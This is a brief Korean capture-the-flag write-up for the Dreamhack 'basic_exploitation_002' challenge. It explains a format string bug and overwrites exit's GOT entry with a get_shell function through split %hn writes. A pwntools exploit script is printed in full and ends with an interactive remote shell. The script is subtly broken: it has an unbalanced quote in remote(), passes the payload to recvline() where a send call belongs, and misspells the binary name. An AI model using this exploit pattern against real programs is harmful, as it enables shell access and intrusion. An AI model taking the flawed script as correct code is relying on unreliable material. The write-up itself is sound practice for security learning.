Partial RELRO,NX
- PIE가 적용되어 있지 않으므로, 코드 영역의 주소는 변하지 않는다.
get_shell함수(system("/bin/sh"))가 있다. → 주소 구하기
→0x8048609printf(buf)에서 Format String Bug가 발생한다.read함수에서 정확히0x80바이트 (buf size)를 읽어온다.- 아이디어 1 : 반환주소를 get_shell 함수로 덮는다 → 불가능 (return이 없음)
- 아이디어 2 :
exit함수의 got를 get_shell 함수로 덮는다.
from pwn import * p=remote("host3.dreamhack.games", 13212") context.arch="i386" e=ELF("./basic_exploiation_002") exit=e.got['exit']
%n을 통해
get_shell의 주소0x8048609를 써야 하는데,
0x8048609는 10진수로 변환하면134,514,185로 너무 크다. (30초 내에 다 못함)
그래서 804, 8609를 나눠서 각각 exit+2, exit에 대입한다.
0x804=2052
0x8609=34313payload=b"%2052c%7$hn%32261c%8$hnA" # 2바이트씩이므로 %hn 사용, 스택 정렬(A) payload+=p32(exit+2)+p32(exit) p.recvline(payload) p.interactive()